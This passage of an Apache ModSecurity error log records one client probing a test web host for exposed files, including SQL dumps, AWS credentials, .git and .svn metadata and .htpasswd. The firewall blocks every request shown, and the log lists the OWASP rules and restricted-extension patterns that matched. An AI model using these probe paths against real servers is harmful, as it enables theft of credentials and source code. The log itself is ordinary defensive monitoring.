"forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "abaAH1RPDbn7htWAttP19gAAAAI"]
[Sun Mar 15 10:47:11.069835 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "abaAH1RPDbn7htWAttP19gAAAAI"]
[Sun Mar 15 10:47:11.069971 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "abaAH1RPDbn7htWAttP19gAAAAI"]
[Sun Mar 15 10:47:11.091914 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awc_prod.sql"] [unique_id "abaAH1RPDbn7htWAttP19wAAAAI"]
[Sun Mar 15 10:47:11.092291 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awc_prod.sql"] [unique_id "abaAH1RPDbn7htWAttP19wAAAAI"]
[Sun Mar 15 10:47:11.092405 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awc_prod.sql"] [unique_id "abaAH1RPDbn7htWAttP19wAAAAI"]
[Sun Mar 15 10:47:11.114419 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.AWS/credentials"] [unique_id "abaAH1RPDbn7htWAttP1-AAAAAI"]
[Sun Mar 15 10:47:11.114598 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.AWS/credentials"] [unique_id "abaAH1RPDbn7htWAttP1-AAAAAI"]
[Sun Mar 15 10:47:11.114713 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.AWS/credentials"] [unique_id "abaAH1RPDbn7htWAttP1-AAAAAI"]
[Sun Mar 15 10:47:11.276369 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abaAH1RPDbn7htWAttP1_wAAAAI"]
[Sun Mar 15 10:47:11.276578 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abaAH1RPDbn7htWAttP1_wAAAAI"]
[Sun Mar 15 10:47:11.276736 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abaAH1RPDbn7htWAttP1_wAAAAI"]
[Sun Mar 15 10:47:11.298888 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AAAAAAI"]
[Sun Mar 15 10:47:11.299081 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AAAAAAI"]
[Sun Mar 15 10:47:11.299219 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AAAAAAI"]
[Sun Mar 15 10:47:11.321223 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abaAH1RPDbn7htWAttP2AQAAAAI"]
[Sun Mar 15 10:47:11.321412 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abaAH1RPDbn7htWAttP2AQAAAAI"]
[Sun Mar 15 10:47:11.321531 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abaAH1RPDbn7htWAttP2AQAAAAI"]
[Sun Mar 15 10:47:11.343608 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AgAAAAI"]
[Sun Mar 15 10:47:11.343809 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AgAAAAI"]
[Sun Mar 15 10:47:11.343946 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abaAH1RPDbn7htWAttP2AgAAAAI"]
[Sun Mar 15 10:47:11.388759 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/entries"] [unique_id "abaAH1RPDbn7htWAttP2BAAAAAI"]
[Sun Mar 15 10:47:11.388948 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/entries"] [unique_id "abaAH1RPDbn7htWAttP2BAAAAAI"]
[Sun Mar 15 10:47:11.389075 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/entries"] [unique_id "abaAH1RPDbn7htWAttP2BAAAAAI"]
[Sun Mar 15 10:47:11.433938 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abaAH1RPDbn7htWAttP2BgAAAAI"]
[Sun Mar 15 10:47:11.434142 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abaAH1RPDbn7htWAttP2BgAAAAI"]
[Sun Mar 15 10:47:11.434275 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "abaAH1RPDbn7htWAttP2BgAAAAI"]
[Sun Mar 15 10:47:11.456042 2026] [authz_core:error] [pid 2708246] [client 185.177.72.49:41458] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sun Mar 15 10:47:11.478147 2026] [authz_core:error] [pid 2708246] [client 185.177.72.49:41458] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htpasswd
[Sun Mar 15 10:47:11.568826 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db.sql"] [unique_id "abaAH1RPDbn7htWAttP2DAAAAAI"]
[Sun Mar 15 10:47:11.569205 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db.sql"] [unique_id "abaAH1RPDbn7htWAttP2DAAAAAI"]
[Sun Mar 15 10:47:11.569327 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db.sql"] [unique_id "abaAH1RPDbn7htWAttP2DAAAAAI"]
[Sun Mar 15 10:47:11.591076 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "abaAH1RPDbn7htWAttP2DQAAAAI"]
[Sun Mar 15 10:47:11.591453 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "abaAH1RPDbn7htWAttP2DQAAAAI"]
[Sun Mar 15 10:47:11.591569 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "abaAH1RPDbn7htWAttP2DQAAAAI"]
[Sun Mar 15 10:47:11.613395 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "abaAH1RPDbn7htWAttP2DgAAAAI"]
[Sun Mar 15 10:47:11.613765 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "abaAH1RPDbn7htWAttP2DgAAAAI"]
[Sun Mar 15 10:47:11.613886 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "abaAH1RPDbn7htWAttP2DgAAAAI"]
[Sun Mar 15 10:47:11.640677 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mysql.sql"] [unique_id "abaAH1RPDbn7htWAttP2DwAAAAI"]
